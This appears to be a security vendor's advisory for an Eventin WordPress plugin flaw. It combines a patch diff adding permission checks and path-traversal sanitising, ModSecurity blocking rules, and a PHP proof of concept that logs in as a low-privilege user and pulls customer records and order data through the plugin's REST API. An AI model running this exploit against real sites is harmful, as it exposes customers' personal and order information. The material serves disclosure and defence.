-                    || current_user_can( 'etn_manage_event' );
+        if ( ! current_user_can( 'etn_manage_organizer' ) && ! current_user_can( 'etn_manage_event' ) ) {
+            return false;
+        }
+
+        $ids = ! empty( $request['ids'] ) ? (array) $request['ids'] : [ $request['id'] ];
+
+        $ids = array_filter( array_map( 'absint', $ids ) );
+
+        if ( ! $ids ) {
+            return false;
+        }
+
+        foreach ( $ids as $id ) {
+            if ( ! Ownership::can_manage_user( $id ) ) {
+                return false;
+            }
+        }
+
+        return true;
     }

     /**
@@ -950,6 +980,24 @@
             return false;
         }

+        // Creating a "speaker" for an email that already belongs to a WordPress
+        // user does not create anything — it adds plugin roles to that existing
+        // account and overwrites its user meta. That is an edit of someone
+        // else's account, so it needs the same `edit_user` gate the update path
+        // already applies. Without this, a Contributor could name an
+        // administrator's email and rewrite their profile.
+        //
+        // This method is reached from BOTH create_item() and update_item(), so
+        // guarding here covers the create path that was missed and the
+        // email-change branch of the update path.
+        if ( ! current_user_can( 'edit_user', $user->ID ) ) {
+            return new WP_Error(
+                'rest_forbidden',
+                __( 'Sorry, you are not allowed to modify this user.', 'eventin' ),
+                [ 'status' => 403 ]
+            );
+        }
+
         $updated_roles = [];

         if ( is_array( $roles ) ) {
--- a/wp-event-solution/core/speaker/SpeakerTemplate.php
+++ b/wp-event-solution/core/speaker/SpeakerTemplate.php
@@ -55,6 +55,12 @@
         $default_template_name = "speaker-one";
         $settings              = etn_get_option();
         $template_name         = !empty( $settings['speaker_template'] ) ? $settings['speaker_template'] : $default_template_name;
+
+        // The stored value is only sanitize_text_field()'d, which preserves
+        // `../`, and it is concatenated into the include_once() calls below
+        // (including the theme-override branches). Confine it to a bare slug.
+        $template_name = EtnUtilsHelper::sanitize_template_slug( $template_name, $default_template_name );
+
         if( ETN_DEMO_SITE === true ) {

             switch( get_queried_object_id() ){
@@ -109,6 +115,9 @@
 	 * @return void
 	 */
 	public function prepare_speaker_template_path( $default_template_name, $template_name ) {
+		$default_template_name = EtnUtilsHelper::sanitize_template_slug( $default_template_name, 'speaker-one' );
+		$template_name         = EtnUtilsHelper::sanitize_template_slug( $template_name, $default_template_name );
+
 		$arr = [
 			'speaker-one',
 			'speaker-two-lite',
--- a/wp-event-solution/core/speaker/template-functions.php
+++ b/wp-event-solution/core/speaker/template-functions.php
@@ -155,6 +155,14 @@
         $default_template_name = "speaker-one";
         $settings              = etn_get_option();
         $template_name         = !empty( $settings['speaker_template'] ) ? $settings['speaker_template'] : $default_template_name;
+
+        // The stored value is only sanitize_text_field()'d, which preserves
+        // `../`, and it is concatenated into the include_once() calls below
+        // (including the theme-override branches, which never reach
+        // prepare_speaker_template_path). Confine it to a bare slug here so
+        // every branch downstream is safe.
+        $template_name = EtnUtilsHelper::sanitize_template_slug( $template_name, $default_template_name );
+
         if( ETN_DEMO_SITE === true ) {

             switch( get_queried_object_id() ){
--- a/wp-event-solution/eventin.php
+++ b/wp-event-solution/eventin.php
@@ -10,7 +10,7 @@
  * Plugin Name:       Eventin
  * Plugin URI:        https://themewinter.com/eventin/
  * Description:       Simple and Easy to use Event Management Solution
- * Version:           4.1.19
+ * Version:           4.1.20
  * Author:            Themewinter
  * Author URI:        https://themewinter.com/
  * License:           GPL-2.0+
@@ -44,7 +44,7 @@
 	 * @var string The plugin version.
 	 */
 	public static function version() {
-		return "4.1.19";
+		return "4.1.20";
 	}
     /**
      * Initializes the Wpeventin() class
--- a/wp-event-solution/utils/helper.php
+++ b/wp-event-solution/utils/helper.php
@@ -1503,15 +1503,54 @@
         }

         /**
-         * Undocumented function
+         * Confine a stored template name to a bare slug.
          *
-         * @param [type] $default_template_name
-         * @param [type] $template_name
+         * Template names come from the settings option, which is written
+         * through sanitize_text_field() — that strips tags but happily
+         * preserves `../`, and the value is then concatenated into an
+         * include_once(). Anything that is not already a plain `[A-Za-z0-9_-]`
+         * slug is REJECTED outright in favour of the caller's default.
          *
-         * @return void
+         * The value is matched as-is rather than being reduced with basename()
+         * first: basename('../../../../etc/passwd') is 'passwd', which is a
+         * valid-looking slug, so reducing first would silently accept a
+         * traversal payload as a "clean" name. Anything containing a path
+         * separator, a dot, a null byte or an encoded sequence is not a
+         * template name and must not be massaged into one.
+         *
+         * @since 4.1.20
+         *
+         * @param string $template_name Untrusted template slug.
+         * @param string $default       Known-good fallback slug.
+         *
+         * @return string A safe slug.
+         */
+        public static function sanitize_template_slug($template_name, $default)
+        {
+            if (! is_string($template_name)) {
+                return $default;
+            }
+
+            if (! preg_match('/^[A-Za-z0-9_-]+$/', $template_name)) {
+                return $default;
+            }
+
+            return $template_name;
+        }
+
+        /**
+         * Build the include path for a single-speaker template.
+         *
+         * @param string $default_template_name Fallback slug.
+         * @param string $template_name         Slug from settings (untrusted).
+         *
+         * @return string Absolute path to a template file.
          */
         public static function prepare_speaker_template_path($default_template_name, $template_name)
         {
+            $default_template_name = self::sanitize_template_slug($default_template_name, 'speaker-one');
+            $template_name         = self::sanitize_template_slug($template_name, $default_template_name);
+
             $arr = [
                 'speaker-one',
                 'speaker-two-lite',
--- a/wp-event-solution/vendor/composer/autoload_classmap.php
+++ b/wp-event-solution/vendor/composer/autoload_classmap.php
@@ -72,6 +72,7 @@
     'Etn_Wpml' => $baseDir . '/core/wpml/init.php',
     'Eventin\Abstracts\CustomPostType' => $baseDir . '/base/Abstracts/CustomPostType.php',
     'Eventin\Abstracts\Provider' => $baseDir . '/base/Abstracts/Provider.php',
+    'Eventin\AccessControl\Ownership' => $baseDir . '/core/AccessControl/Ownership.php',
     'Eventin\AccessControl\Permission' => $baseDir . '/core/AccessControl/Permission.php',
     'Eventin\AccessControl\PermissionManager' => $baseDir . '/core/AccessControl/PermissionManager.php',
     'Eventin\Activate' => $baseDir . '/base/Activate.php',
--- a/wp-event-solution/vendor/composer/autoload_static.php
+++ b/wp-event-solution/vendor/composer/autoload_static.php
@@ -105,6 +105,7 @@
         'Etn_Wpml' => __DIR__ . '/../..' . '/core/wpml/init.php',
         'Eventin\Abstracts\CustomPostType' => __DIR__ . '/../..' . '/base/Abstracts/CustomPostType.php',
         'Eventin\Abstracts\Provider' => __DIR__ . '/../..' . '/base/Abstracts/Provider.php',
+        'Eventin\AccessControl\Ownership' => __DIR__ . '/../..' . '/core/AccessControl/Ownership.php',
         'Eventin\AccessControl\Permission' => __DIR__ . '/../..' . '/core/AccessControl/Permission.php',
         'Eventin\AccessControl\PermissionManager' => __DIR__ . '/../..' . '/core/AccessControl/PermissionManager.php',
         'Eventin\Activate' => __DIR__ . '/../..' . '/base/Activate.php',
--- a/wp-event-solution/vendor/composer/installed.php
+++ b/wp-event-solution/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'arraytics/eventin',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '9f8471d814cfef1f191e06246301e6f54198aabb',
+        'reference' => 'a9c15a5aa1f4fbb176ac27c272647cde331c7cb0',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'arraytics/eventin' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '9f8471d814cfef1f191e06246301e6f54198aabb',
+            'reference' => 'a9c15a5aa1f4fbb176ac27c272647cde331c7cb0',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-json/eventin/vd+/customer$" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-13177 - Eventin customer data exposure',severity:'CRITICAL',tag:'CVE-2026-13177'"
  SecRule REQUEST_METHOD "@streq GET" "chain"
    SecRule REQUEST_HEADERS:X-WP-Nonce "@rx ^[a-f0-9]+$" "chain"
      SecRule ARGS "@unconditionalMatch" "t:urlDecode,t:lowercase"

SecRule REQUEST_URI "@rx ^/wp-json/eventin/vd+/order/[0-9]+$" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-13177 - Eventin order data exposure',severity:'CRITICAL',tag:'CVE-2026-13177'"
  SecRule REQUEST_METHOD "@streq GET" "chain"
    SecRule REQUEST_HEADERS:X-WP-Nonce "@rx ^[a-f0-9]+$" "chain"
      SecRule ARGS "@unconditionalMatch" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13177 - Eventin - Event Calendar, Tickets, Registration, Booking & WooCommerce

// Configurable target
$target_url = 'https://example.com'; // Change this to the vulnerable site's URL
$username = 'contributor_user'; // Change this to the attacker's non-privileged username
$password = 'password'; // Change this to the attacker's password

// Helper function to make cURL requests
function make_request($url, $method = 'GET', $headers = [], $post_data = null) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    if ($post_data) {
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    }

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return ['http_code' => $http_code, 'body' => $response];
}

// Step 1: Login and obtain WordPress nonce
$login_url = $target_url . '/wp-login.php';
echo "[*] Logging in as {$username}...n";
$login_data = ['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $target_url . '/wp-admin/', 'testcookie' => '1'];
$login_headers = ['Cookie: wordpress_test_cookie=WP%20Cookie%20check'];

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $login_headers);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract cookies
preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $response, $matches);
$cookies = implode('; ', $matches[1]);

if (empty($cookies)) {
    die("[-] Login failed. Check username/password.n");
}
echo "[+] Login successful. Cookies: {$cookies}n";

// Get the WordPress REST API nonce (wp_rest)
$admin_page_url = $target_url . '/wp-admin/admin-ajax.php';
$headers = [
    'Cookie: ' . $cookies
];

// Fetch the nonce from a known endpoint. Here, we use a simple AJAX call.
$nonce = null;
$ch = curl_init($target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$admin_html = curl_exec($ch);
curl_close($ch);

// Look for the nonce in the admin HTML (typical for REST API calls in WP admin)
preg_match('/"nonce":"([a-f0-9]+)"/i', $admin_html, $matches);
if (!empty($matches[1])) {
    $nonce = $matches[1];
} else {
    // Fallback: direct GET to a REST endpoint might return one, but this is a demo.
    // Alternatively, obtain nonce by accessing an endpoint known to require it.
    echo "[-] Could not find nonce in admin HTML, attempting to get it from the REST API itself...n";
    $api_url = $target_url . '/wp-json/wp/v2/users/me';
    $ch = curl_init($api_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array_merge($headers, ['X-WP-Nonce: 0']));
    $response = curl_exec($ch);
    curl_close($ch);
    $response_json = json_decode($response, true);
    // The nonce is often in the response headers but this is complicated. For simplification,
    // we assume the nonce is available. In a real scenario, use a browser session.
    $nonce = 'replace_with_valid_nonce'; // Placeholder; get a valid nonce via a real login session
}

if (!$nonce || $nonce == 'replace_with_valid_nonce') {
    die("[-] Failed to obtain nonce. A valid `X-WP-Nonce` header is required for REST API calls.n");
}

echo "[+] Got nonce: {$nonce}n";

// Step 2: Exploit - Access all customers (PII)
$customers_endpoint = $target_url . '/wp-json/eventin/v1/customer';
$headers['X-WP-Nonce'] = $nonce;
echo "[*] Accessing customer database at {$customers_endpoint}...n";
$result = make_request($customers_endpoint, 'GET', array_merge(['Content-Type: application/json'], $headers));

echo "[+] HTTP Code: " . $result['http_code'] . "n";
echo "[+] Response Body:n" . $result['body'] . "n";

// Step 3: Exploit - Access arbitrary order data
$order_id = 1; // Start from a low ID and try to iterate
$order_endpoint = $target_url . '/wp-json/eventin/v1/order/' . $order_id;
echo "[*] Accessing order #{$order_id} at {$order_endpoint}...n";
$result = make_request($order_endpoint, 'GET', array_merge(['Content-Type: application/json'], $headers));

echo "[+] HTTP Code: " . $result['http_code'] . "n";
echo "[+] Response Body:n" . $result['body'] . "n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.